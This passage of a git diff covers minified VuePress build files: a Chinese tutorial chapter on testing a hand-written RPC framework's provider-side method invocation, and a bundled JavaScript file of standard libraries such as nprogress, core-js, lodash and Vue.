"),r("p",[t._v("测试过程中服务消费者与服务提供者之间,服务提供者与真实方法之间的数据交互与第9章中的图9-2相同,这里再次将这个图展示给大家。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图9-2 整体流程设计","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-002.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("服务消费者与服务提供者之间,服务提供者与真实方法之间的数据交互的具体说明大家就参考第9章的内容了,我就不再赘述了。")]),t._v(" "),r("h2",{attrs:{id:"四、实现"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[t._v("#")]),t._v(" 四、实现")]),t._v(" "),r("p",[r("code",[t._v("说了这么多,测试服务提供者调用真实方法的代码改如何实现呢?")])]),t._v(" "),r("h3",{attrs:{id:"_1-工程结构"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[t._v("#")]),t._v(" 1.工程结构")]),t._v(" "),r("ul",[r("li",[r("p",[t._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-codec:实现bhrpc框架的自定义编解码功能。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-provider:服务提供者父工程。")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-provider-common:服务提供者通用工程。")]),t._v(" "),r("li",[t._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-serialization:实现bhrpc框架序列化与反序列化功能的父工程。")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-serialization-api:实现bhrpc框架序列化与反序列化功能的通用接口工程。")]),t._v(" "),r("li",[t._v("bhrpc-serialization-jdk:以JDK的方式实现序列化与反序列化功能。")])])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test:测试bhrpc框架的父工程。")]),t._v(" "),r("ul",[r("li",[r("p",[t._v("bhrpc-test-api:测试的通用Servcie接口工程(第10章新增的测试子工程)")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test-provider:测试服务提供者的工程。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test-consumer:测试服务消费者的工程")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-test-consumer-codec:测试服务消费者基于自定义网络协议与编解码与服务提供者进行数据交互")])])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test-scanner:测试扫描器的工程。")])])])])]),t._v(" "),r("p",[r("strong",[t._v("工程源码:")]),t._v(" 关注冰 "),r("strong",[t._v("冰河技术")]),t._v(" 微信公众号,回复 "),r("code",[t._v("bhrpc")]),t._v(", 获取代码链接地址。")]),t._v(" "),r("h3",{attrs:{id:"_2-核心类实现关系"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心类实现关系"}},[t._v("#")]),t._v(" 2.核心类实现关系")]),t._v(" "),r("p",[t._v("(1)测试服务提供者调用真实方法时,服务提供者核心类之间的关系如图10-1所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图10-1 服务提供者核心类之间的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-05-001.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("可以看到,在服务提供者端类之间的关系还是比较复杂的,大家重点理解类与类之间的逻辑关系即可。整个服务提供者的启动入口类就是RpcSingleServerTest。")]),t._v(" "),r("p",[t._v("(2)测试服务提供者调用真实方法时,服务消费者核心类之间的关系如图10-2所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图10-2 服务消费者核心类之间的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-05-002.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("可以看到,在服务消费者端RpcTestConsumer类是启动整个服务消费者程序的入口,并且核心类之间主要以依赖关系为主。")]),t._v(" "),r("h2",{attrs:{id:"查看完整文章"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),r("p",[t._v("加入"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),r("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);r.default=_.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[354],{643:function(t,r,a){"use strict";a.r(r);var v=a(7),_=Object(v.a)({},(function(){var t=this,r=t._self._c;return r("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[r("h1",{attrs:{id:"《rpc手撸专栏》第10章-测试服务提供者调用真实方法"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#《rpc手撸专栏》第10章-测试服务提供者调用真实方法"}},[t._v("#")]),t._v(" 《RPC手撸专栏》第10章:测试服务提供者调用真实方法")]),t._v(" "),r("p",[t._v("作者:冰河\n"),r("br"),t._v("星球:"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("http://m6z.cn/6aeFbs"),r("OutboundLink")],1),t._v(" "),r("br"),t._v("博客:"),r("a",{attrs:{href:"https://binghe001.github.io",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://binghe001.github.io"),r("OutboundLink")],1)]),t._v(" "),r("blockquote",[r("p",[t._v("沉淀,成长,突破,帮助他人,成就自我。")])]),t._v(" "),r("p",[r("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),r("p",[t._v("服务提供者接收到服务消费者发送过来的数据后,调用真实方法的逻辑该如何测试呢?")]),t._v(" "),r("h2",{attrs:{id:"一、前言"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#一、前言"}},[t._v("#")]),t._v(" 一、前言")]),t._v(" "),r("p",[r("code",[t._v("既然你说实现了RPC框架的服务提供者调用真实方法的逻辑,不测试下怎么行?")])]),t._v(" "),r("p",[t._v("在前面的章节中,服务提供者通过反射技术实现了调用真实方法的功能,这也是RPC能够实现调用远程方法的必不可少的基础功能之一。那既然实现了服务提供者调用真实方法的功能,不测试下怎么行?不测试下怎么就知道写的逻辑到底对不对呢?")]),t._v(" "),r("h2",{attrs:{id:"二、目标"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#二、目标"}},[t._v("#")]),t._v(" 二、目标")]),t._v(" "),r("p",[r("code",[t._v("服务提供者实现了调用真实方法的能力,要测试下,看到效果,大家才会相信的!")])]),t._v(" "),r("p",[t._v("有句话说的非常好:实践是检验真理的唯一标准。")]),t._v(" "),r("p",[t._v("既然前面的章节中,实现了服务提供者调用真实方法的逻辑,但不测试,看不到效果,大家谁会相信你写的服务提供者的代码就一定会调用真实的方法呢?一切都要以数据和效果说话的。")]),t._v(" "),r("p",[t._v("本章,就主要通过模拟服务消费者与服务提供者之间的数据交互来验证服务提供者是否真正调用了真实方法。如果服务提供者调用了真实方法,则测试通过。否则,测试不通过,我们就继续改代码。")]),t._v(" "),r("h2",{attrs:{id:"三、设计"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#三、设计"}},[t._v("#")]),t._v(" 三、设计")]),t._v(" "),r("p",[r("code",[t._v("如果让你独立设计测试流程和测试代码,你该如何设计呢?")])]),t._v(" "),r("p",[t._v("这里,使用的测试用例还是在前面章节中大家起来的测试用例,并且在之前测试用例的基础上进行稍许的改动。")]),t._v(" "),r("p",[t._v("测试过程中服务消费者与服务提供者之间,服务提供者与真实方法之间的数据交互与第9章中的图9-2相同,这里再次将这个图展示给大家。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图9-2 整体流程设计","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-04-002.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("服务消费者与服务提供者之间,服务提供者与真实方法之间的数据交互的具体说明大家就参考第9章的内容了,我就不再赘述了。")]),t._v(" "),r("h2",{attrs:{id:"四、实现"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#四、实现"}},[t._v("#")]),t._v(" 四、实现")]),t._v(" "),r("p",[r("code",[t._v("说了这么多,测试服务提供者调用真实方法的代码改如何实现呢?")])]),t._v(" "),r("h3",{attrs:{id:"_1-工程结构"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_1-工程结构"}},[t._v("#")]),t._v(" 1.工程结构")]),t._v(" "),r("ul",[r("li",[r("p",[t._v("bhrpc-annotation:实现bhrpc框架的核心注解工程。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-codec:实现bhrpc框架的自定义编解码功能。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-common:实现bhrpc框架的通用工具类,包含服务提供者注解与服务消费者注解的扫描器。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-constants:存放实现bhrpc框架通用的常量类。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-protocol:实现bhrpc框架的自定义网络传输协议的工程。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-provider:服务提供者父工程。")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-provider-common:服务提供者通用工程。")]),t._v(" "),r("li",[t._v("bhrpc-provider-native:以纯Java方式启动bhrpc框架的工程。")])])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-serialization:实现bhrpc框架序列化与反序列化功能的父工程。")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-serialization-api:实现bhrpc框架序列化与反序列化功能的通用接口工程。")]),t._v(" "),r("li",[t._v("bhrpc-serialization-jdk:以JDK的方式实现序列化与反序列化功能。")])])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test:测试bhrpc框架的父工程。")]),t._v(" "),r("ul",[r("li",[r("p",[t._v("bhrpc-test-api:测试的通用Servcie接口工程(第10章新增的测试子工程)")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test-provider:测试服务提供者的工程。")])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test-consumer:测试服务消费者的工程")]),t._v(" "),r("ul",[r("li",[t._v("bhrpc-test-consumer-codec:测试服务消费者基于自定义网络协议与编解码与服务提供者进行数据交互")])])]),t._v(" "),r("li",[r("p",[t._v("bhrpc-test-scanner:测试扫描器的工程。")])])])])]),t._v(" "),r("p",[r("strong",[t._v("工程源码:")]),t._v(" 关注冰 "),r("strong",[t._v("冰河技术")]),t._v(" 微信公众号,回复 "),r("code",[t._v("bhrpc")]),t._v(", 获取代码链接地址。")]),t._v(" "),r("h3",{attrs:{id:"_2-核心类实现关系"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#_2-核心类实现关系"}},[t._v("#")]),t._v(" 2.核心类实现关系")]),t._v(" "),r("p",[t._v("(1)测试服务提供者调用真实方法时,服务提供者核心类之间的关系如图10-1所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图10-1 服务提供者核心类之间的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-05-001.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("可以看到,在服务提供者端类之间的关系还是比较复杂的,大家重点理解类与类之间的逻辑关系即可。整个服务提供者的启动入口类就是RpcSingleServerTest。")]),t._v(" "),r("p",[t._v("(2)测试服务提供者调用真实方法时,服务消费者核心类之间的关系如图10-2所示。")]),t._v(" "),r("p",[r("img",{staticClass:"lazy",attrs:{alt:"图10-2 服务消费者核心类之间的关系","data-src":"https://binghe001.github.io/assets/images/middleware/rpc/rpc-2022-10-05-002.png",loading:"lazy"}})]),t._v(" "),r("p",[t._v("可以看到,在服务消费者端RpcTestConsumer类是启动整个服务消费者程序的入口,并且核心类之间主要以依赖关系为主。")]),t._v(" "),r("h2",{attrs:{id:"查看完整文章"}},[r("a",{staticClass:"header-anchor",attrs:{href:"#查看完整文章"}},[t._v("#")]),t._v(" 查看完整文章")]),t._v(" "),r("p",[t._v("加入"),r("a",{attrs:{href:"http://m6z.cn/6aeFbs",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),r("OutboundLink")],1),t._v("知识星球,解锁完整技术文章与完整代码")])])}),[],!1,null,null,null);r.default=_.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-app.js b/assets/js/cg-app.js index 575c945a138a2390ba66b09d2e3cc80e00e4248a..7a44672a03820ad15ec616908a66448bf62cc2d4 100644 --- a/assets/js/cg-app.js +++ b/assets/js/cg-app.js @@ -1,4 +1,4 @@ -!function(e){function t(t){for(var l,n,o=t[0],i=t[1],c=t[2],m=0,B=[];m
'};function r(e,t,E){return eE?E:e}function a(e){return 100*(-1+e)}E.configure=function(e){var t,E;for(t in e)void 0!==(E=e[t])&&e.hasOwnProperty(t)&&(l[t]=E);return this},E.status=null,E.set=function(e){var t=E.isStarted();e=r(e,l.minimum,1),E.status=1===e?null:e;var i=E.render(!t),c=i.querySelector(l.barSelector),A=l.speed,m=l.easing;return i.offsetWidth,n((function(t){""===l.positionUsing&&(l.positionUsing=E.getPositioningCSS()),o(c,function(e,t,E){var r;return(r="translate3d"===l.positionUsing?{transform:"translate3d("+a(e)+"%,0,0)"}:"translate"===l.positionUsing?{transform:"translate("+a(e)+"%,0)"}:{"margin-left":a(e)+"%"}).transition="all "+t+"ms "+E,r}(e,A,m)),1===e?(o(i,{transition:"none",opacity:1}),i.offsetWidth,setTimeout((function(){o(i,{transition:"all "+A+"ms linear",opacity:0}),setTimeout((function(){E.remove(),t()}),A)}),A)):setTimeout(t,A)})),this},E.isStarted=function(){return"number"==typeof E.status},E.start=function(){E.status||E.set(0);var e=function(){setTimeout((function(){E.status&&(E.trickle(),e())}),l.trickleSpeed)};return l.trickle&&e(),this},E.done=function(e){return e||E.status?E.inc(.3+.5*Math.random()).set(1):this},E.inc=function(e){var t=E.status;return t?("number"!=typeof e&&(e=(1-t)*r(Math.random()*t,.1,.95)),t=r(t+e,0,.994),E.set(t)):E.start()},E.trickle=function(){return E.inc(Math.random()*l.trickleRate)},e=0,t=0,E.promise=function(l){return l&&"resolved"!==l.state()?(0===t&&E.start(),e++,t++,l.always((function(){0==--t?(e=0,E.done()):E.set((e-t)/e)})),this):this},E.render=function(e){if(E.isRendered())return document.getElementById("nprogress");c(document.documentElement,"nprogress-busy");var t=document.createElement("div");t.id="nprogress",t.innerHTML=l.template;var r,n=t.querySelector(l.barSelector),i=e?"-100":a(E.status||0),A=document.querySelector(l.parent);return o(n,{transition:"all 0 linear",transform:"translate3d("+i+"%,0,0)"}),l.showSpinner||(r=t.querySelector(l.spinnerSelector))&&B(r),A!=document.body&&c(A,"nprogress-custom-parent"),A.appendChild(t),t},E.remove=function(){A(document.documentElement,"nprogress-busy"),A(document.querySelector(l.parent),"nprogress-custom-parent");var e=document.getElementById("nprogress");e&&B(e)},E.isRendered=function(){return!!document.getElementById("nprogress")},E.getPositioningCSS=function(){var e=document.body.style,t="WebkitTransform"in e?"Webkit":"MozTransform"in e?"Moz":"msTransform"in e?"ms":"OTransform"in e?"O":"";return t+"Perspective"in e?"translate3d":t+"Transform"in e?"translate":"margin"};var n=function(){var e=[];function t(){var E=e.shift();E&&E(t)}return function(E){e.push(E),1==e.length&&t()}}(),o=function(){var e=["Webkit","O","Moz","ms"],t={};function E(E){return E=E.replace(/^-ms-/,"ms-").replace(/-([\da-z])/gi,(function(e,t){return t.toUpperCase()})),t[E]||(t[E]=function(t){var E=document.body.style;if(t in E)return t;for(var l,r=e.length,a=t.charAt(0).toUpperCase()+t.slice(1);r--;)if((l=e[r]+a)in E)return l;return t}(E))}function l(e,t,l){t=E(t),e.style[t]=l}return function(e,t){var E,r,a=arguments;if(2==a.length)for(E in t)void 0!==(r=t[E])&&t.hasOwnProperty(E)&&l(e,E,r);else l(e,a[1],a[2])}}();function i(e,t){return("string"==typeof e?e:m(e)).indexOf(" "+t+" ")>=0}function c(e,t){var E=m(e),l=E+t;i(E,t)||(e.className=l.substring(1))}function A(e,t){var E,l=m(e);i(e,t)&&(E=l.replace(" "+t+" "," "),e.className=E.substring(1,E.length-1))}function m(e){return(" "+(e.className||"")+" ").replace(/\s+/gi," ")}function B(e){e&&e.parentNode&&e.parentNode.removeChild(e)}return E})?l.call(t,E,t,e):l)||(e.exports=r)},function(e,t,E){var l=E(1),r=E(45).f,a=E(16),n=E(106),o=E(31),i=E(63),c=E(122);e.exports=function(e,t){var E,A,m,B,s,d=e.target,p=e.global,h=e.stat;if(E=p?l:h?l[d]||o(d,{}):(l[d]||{}).prototype)for(A in t){if(B=t[A],m=e.dontCallGetSet?(s=r(E,A))&&s.value:E[A],!c(p?A:d+(h?".":"#")+A,e.forced)&&void 0!==m){if(typeof B==typeof m)continue;i(B,m)}(e.sham||m&&m.sham)&&a(B,"sham",!0),n(E,A,B,e)}}},function(e,t,E){var l=E(26),r=Function.prototype.call;e.exports=l?r.bind(r):function(){return r.apply(r,arguments)}},function(e,t,E){var l=E(2);e.exports=!l((function(){var e=function(){}.bind();return"function"!=typeof e||e.hasOwnProperty("prototype")}))},function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,E){var l=E(46),r=E(48);e.exports=function(e){return l(r(e))}},function(e,t,E){var l=E(1),r=E(58),a=E(8),n=E(60),o=E(55),i=E(54),c=r("wks"),A=l.Symbol,m=A&&A.for,B=i?A:A&&A.withoutSetter||n;e.exports=function(e){if(!a(c,e)||!o&&"string"!=typeof c[e]){var t="Symbol."+e;o&&a(A,e)?c[e]=A[e]:c[e]=i&&m?m(t):B(t)}return c[e]}},function(e,t,E){var l=E(1),r=E(31),a=l["__core-js_shared__"]||r("__core-js_shared__",{});e.exports=a},function(e,t,E){var l=E(1),r=Object.defineProperty;e.exports=function(e,t){try{r(l,e,{value:t,configurable:!0,writable:!0})}catch(E){l[e]=t}return t}},function(e,t,E){var l=E(48),r=Object;e.exports=function(e){return r(l(e))}},function(e,t,E){var l=E(9),r=String,a=TypeError;e.exports=function(e){if(l(e))return e;throw a(r(e)+" is not an object")}},function(e,t,E){var l=E(119);e.exports=function(e){return l(e.length)}},function(e,t,E){var l=E(144),r=E(11),a=Object.prototype,n=a.hasOwnProperty,o=a.propertyIsEnumerable,i=l(function(){return arguments}())?l:function(e){return r(e)&&n.call(e,"callee")&&!o.call(e,"callee")};e.exports=i},function(e,t,E){var l=E(10)(E(5),"Map");e.exports=l},function(e,t){e.exports=function(e){var t=typeof e;return null!=e&&("object"==t||"function"==t)}},function(e,t,E){var l=E(164),r=E(171),a=E(173),n=E(174),o=E(175);function i(e){var t=-1,E=null==e?0:e.length;for(this.clear();++t-1&&e%1==0&&e<=9007199254740991}},function(e,t,E){var l=E(6),r=E(42),a=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,n=/^\w*$/;e.exports=function(e,t){if(l(e))return!1;var E=typeof e;return!("number"!=E&&"symbol"!=E&&"boolean"!=E&&null!=e&&!r(e))||(n.test(e)||!a.test(e)||null!=t&&e in Object(t))}},function(e,t,E){var l=E(14),r=E(11);e.exports=function(e){return"symbol"==typeof e||r(e)&&"[object Symbol]"==l(e)}},function(e,t){e.exports=function(e){return e}},function(e,t,E){"use strict";var l=E(24),r=E(32),a=E(34),n=E(126),o=E(128),i=E(2)((function(){return 4294967297!==[].push.call({length:4294967296},1)})),c=!function(){try{Object.defineProperty([],"length",{writable:!1}).push()}catch(e){return e instanceof TypeError}}();l({target:"Array",proto:!0,arity:1,forced:i||c},{push:function(e){var t=r(this),E=a(t),l=arguments.length;o(E+l);for(var i=0;i0&&l[0]<4?1:+(l[0]+l[1])),!r&&n&&(!(l=n.match(/Edge\/(\d+)/))||l[1]>=74)&&(l=n.match(/Chrome\/(\d+)/))&&(r=+l[1]),e.exports=r},function(e,t,E){var l=E(0),r=E(102),a=TypeError;e.exports=function(e){if(l(e))return e;throw a(r(e)+" is not a function")}},function(e,t,E){var l=E(59),r=E(30);(e.exports=function(e,t){return r[e]||(r[e]=void 0!==t?t:{})})("versions",[]).push({version:"3.25.5",mode:l?"pure":"global",copyright:"© 2014-2022 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.25.5/LICENSE",source:"https://github.com/zloirock/core-js"})},function(e,t){e.exports=!1},function(e,t,E){var l=E(4),r=0,a=Math.random(),n=l(1..toString);e.exports=function(e){return"Symbol("+(void 0===e?"":e)+")_"+n(++r+a,36)}},function(e,t,E){var l=E(3),r=E(2),a=E(104);e.exports=!l&&!r((function(){return 7!=Object.defineProperty(a("div"),"a",{get:function(){return 7}}).a}))},function(e,t){e.exports={}},function(e,t,E){var l=E(8),r=E(113),a=E(45),n=E(17);e.exports=function(e,t,E){for(var o=r(t),i=n.f,c=a.f,A=0;AA))return!1;var B=i.get(e),s=i.get(t);if(B&&s)return B==t&&s==e;var d=-1,p=!0,h=2&E?new l:void 0;for(i.set(e,t),i.set(t,e);++d-1&&e%1==0&&e=t||E<0||h&&e-c>=a}function f(){var e=s();if(y(e))return b(e);o=setTimeout(f,function(e){var E=t-(e-i);return h?B(E,a-(e-c)):E}(e))}function b(e){return o=void 0,u&&l?g(e):(l=r=void 0,n)}function C(){var e=s(),E=y(e);if(l=arguments,r=this,i=e,E){if(void 0===o)return v(i);if(h)return o=setTimeout(f,t),g(i)}return void 0===o&&(o=setTimeout(f,t)),n}return t=p(t)||0,d(E)&&(A=!!E.leading,a=(h="maxWait"in E)?m(p(E.maxWait)||0,t):a,u="trailing"in E?!!E.trailing:u),C.cancel=function(){void 0!==o&&clearTimeout(o),c=0,l=i=r=o=void 0},C.flush=function(){return void 0===o?n:b(s())},C}},function(e,t,E){},function(e,t,E){},function(e,t,E){},function(e,t,E){},function(e,t,E){var l=E(142),r=E(147),a=E(217),n=E(225),o=E(234),i=E(95),c=a((function(e){var t=i(e);return o(t)&&(t=void 0),n(l(e,1,o,!0),r(t,2))}));e.exports=c},function(e,t,E){"use strict"; /*! @@ -13,4 +13,4 @@ * (c) 2014-2022 Evan You * Released under the MIT License. */ -var l=Object.freeze({}),r=Array.isArray;function a(e){return null==e}function n(e){return null!=e}function o(e){return!0===e}function i(e){return"string"==typeof e||"number"==typeof e||"symbol"==typeof e||"boolean"==typeof e}function c(e){return"function"==typeof e}function A(e){return null!==e&&"object"==typeof e}var m=Object.prototype.toString;function B(e){return"[object Object]"===m.call(e)}function s(e){return"[object RegExp]"===m.call(e)}function d(e){var t=parseFloat(String(e));return t>=0&&Math.floor(t)===t&&isFinite(e)}function p(e){return n(e)&&"function"==typeof e.then&&"function"==typeof e.catch}function h(e){return null==e?"":Array.isArray(e)||B(e)&&e.toString===m?JSON.stringify(e,null,2):String(e)}function u(e){var t=parseFloat(e);return isNaN(t)?e:t}function g(e,t){for(var E=Object.create(null),l=e.split(","),r=0;r-1)return e.splice(l,1)}}var f=Object.prototype.hasOwnProperty;function b(e,t){return f.call(e,t)}function C(e){var t=Object.create(null);return function(E){return t[E]||(t[E]=e(E))}}var F=/-(\w)/g,D=C((function(e){return e.replace(F,(function(e,t){return t?t.toUpperCase():""}))})),k=C((function(e){return e.charAt(0).toUpperCase()+e.slice(1)})),S=/\B([A-Z])/g,w=C((function(e){return e.replace(S,"-$1").toLowerCase()}));var P=Function.prototype.bind?function(e,t){return e.bind(t)}:function(e,t){function E(E){var l=arguments.length;return l?l>1?e.apply(t,arguments):e.call(t,E):e.call(t)}return E._length=e.length,E};function _(e,t){t=t||0;for(var E=e.length-t,l=new Array(E);E--;)l[E]=e[E+t];return l}function M(e,t){for(var E in t)e[E]=t[E];return e}function x(e){for(var t={},E=0;E0,X=H&&H.indexOf("edge/")>0;H&&H.indexOf("android");var Y=H&&/iphone|ipad|ipod|ios/.test(H);H&&/chrome\/\d+/.test(H),H&&/phantomjs/.test(H);var ee,te=H&&H.match(/firefox\/(\d+)/),Ee={}.watch,le=!1;if(N)try{var re={};Object.defineProperty(re,"passive",{get:function(){le=!0}}),window.addEventListener("test-passive",null,re)}catch(e){}var ae=function(){return void 0===ee&&(ee=!N&&"undefined"!=typeof global&&(global.process&&"server"===global.process.env.VUE_ENV)),ee},ne=N&&window.__VUE_DEVTOOLS_GLOBAL_HOOK__;function oe(e){return"function"==typeof e&&/native code/.test(e.toString())}var ie,ce="undefined"!=typeof Symbol&&oe(Symbol)&&"undefined"!=typeof Reflect&&oe(Reflect.ownKeys);ie="undefined"!=typeof Set&&oe(Set)?Set:function(){function e(){this.set=Object.create(null)}return e.prototype.has=function(e){return!0===this.set[e]},e.prototype.add=function(e){this.set[e]=!0},e.prototype.clear=function(){this.set=Object.create(null)},e}();var Ae=null;function me(e){void 0===e&&(e=null),e||Ae&&Ae._scope.off(),Ae=e,e&&e._scope.on()}var Be=function(){function e(e,t,E,l,r,a,n,o){this.tag=e,this.data=t,this.children=E,this.text=l,this.elm=r,this.ns=void 0,this.context=a,this.fnContext=void 0,this.fnOptions=void 0,this.fnScopeId=void 0,this.key=t&&t.key,this.componentOptions=n,this.componentInstance=void 0,this.parent=void 0,this.raw=!1,this.isStatic=!1,this.isRootInsert=!0,this.isComment=!1,this.isCloned=!1,this.isOnce=!1,this.asyncFactory=o,this.asyncMeta=void 0,this.isAsyncPlaceholder=!1}return Object.defineProperty(e.prototype,"child",{get:function(){return this.componentInstance},enumerable:!1,configurable:!0}),e}(),se=function(e){void 0===e&&(e="");var t=new Be;return t.text=e,t.isComment=!0,t};function de(e){return new Be(void 0,void 0,void 0,String(e))}function pe(e){var t=new Be(e.tag,e.data,e.children&&e.children.slice(),e.text,e.elm,e.context,e.componentOptions,e.asyncFactory);return t.ns=e.ns,t.isStatic=e.isStatic,t.key=e.key,t.isComment=e.isComment,t.fnContext=e.fnContext,t.fnOptions=e.fnOptions,t.fnScopeId=e.fnScopeId,t.asyncMeta=e.asyncMeta,t.isCloned=!0,t}var he=0,ue=[],ge=function(){function e(){this._pending=!1,this.id=he++,this.subs=[]}return e.prototype.addSub=function(e){this.subs.push(e)},e.prototype.removeSub=function(e){this.subs[this.subs.indexOf(e)]=null,this._pending||(this._pending=!0,ue.push(this))},e.prototype.depend=function(t){e.target&&e.target.addDep(this)},e.prototype.notify=function(e){var t=this.subs.filter((function(e){return e}));for(var E=0,l=t.length;E0&&(Ke((c=e(c,"".concat(E||"","_").concat(l)))[0])&&Ke(m)&&(B[A]=de(m.text+c[0].text),c.shift()),B.push.apply(B,c)):i(c)?Ke(m)?B[A]=de(m.text+c):""!==c&&B.push(de(c)):Ke(c)&&Ke(m)?B[A]=de(m.text+c.text):(o(t._isVList)&&n(c.tag)&&a(c.key)&&n(E)&&(c.key="__vlist".concat(E,"_").concat(l,"__")),B.push(c)));return B}(e):void 0}function Ke(e){return n(e)&&n(e.text)&&!1===e.isComment}function Ge(e,t){var E,l,a,o,i=null;if(r(e)||"string"==typeof e)for(i=new Array(e.length),E=0,l=e.length;E0,o=t?!!t.$stable:!n,i=t&&t.$key;if(t){if(t._normalized)return t._normalized;if(o&&r&&r!==l&&i===r.$key&&!n&&!r.$hasNormal)return r;for(var c in a={},t)t[c]&&"$"!==c[0]&&(a[c]=ht(e,E,c,t[c]))}else a={};for(var A in E)A in a||(a[A]=ut(E,A));return t&&Object.isExtensible(t)&&(t._normalized=a),V(a,"$stable",o),V(a,"$key",i),V(a,"$hasNormal",n),a}function ht(e,t,E,l){var a=function(){var t=Ae;me(e);var E=arguments.length?l.apply(null,arguments):l({}),a=(E=E&&"object"==typeof E&&!r(E)?[E]:He(E))&&E[0];return me(t),E&&(!a||1===E.length&&a.isComment&&!dt(a))?void 0:E};return l.proxy&&Object.defineProperty(t,E,{get:a,enumerable:!0,configurable:!0}),a}function ut(e,t){return function(){return e[t]}}function gt(e){return{get attrs(){if(!e._attrsProxy){var t=e._attrsProxy={};V(t,"_v_attr_proxy",!0),vt(t,e.$attrs,l,e,"$attrs")}return e._attrsProxy},get listeners(){e._listenersProxy||vt(e._listenersProxy={},e.$listeners,l,e,"$listeners");return e._listenersProxy},get slots(){return function(e){e._slotsProxy||ft(e._slotsProxy={},e.$scopedSlots);return e._slotsProxy}(e)},emit:P(e.$emit,e),expose:function(t){t&&Object.keys(t).forEach((function(E){return Qe(e,t,E)}))}}}function vt(e,t,E,l,r){var a=!1;for(var n in t)n in e?t[n]!==E[n]&&(a=!0):(a=!0,yt(e,n,l,r));for(var n in e)n in t||(a=!0,delete e[n]);return a}function yt(e,t,E,l){Object.defineProperty(e,t,{enumerable:!0,configurable:!0,get:function(){return E[l][t]}})}function ft(e,t){for(var E in t)e[E]=t[E];for(var E in e)E in t||delete e[E]}var bt=null;function Ct(e,t){return(e.__esModule||ce&&"Module"===e[Symbol.toStringTag])&&(e=e.default),A(e)?t.extend(e):e}function Ft(e){if(r(e))for(var t=0;tdocument.createEvent("Event").timeStamp&&(iE=function(){return cE.now()})}var AE=function(e,t){if(e.post){if(!t.post)return 1}else if(t.post)return-1;return e.id-t.id};function mE(){var e,t;for(oE=iE(),aE=!0,tE.sort(AE),nE=0;nEnE&&tE[E].id>e.id;)E--;tE.splice(E+1,0,e)}else tE.push(e);rE||(rE=!0,qt(mE))}}function sE(e,t){if(e){for(var E=Object.create(null),l=ce?Reflect.ownKeys(e):Object.keys(e),r=0;r-1)if(a&&!b(r,"default"))n=!1;else if(""===n||n===w(e)){var i=LE(String,r.type);(i<0||o-1:"string"==typeof 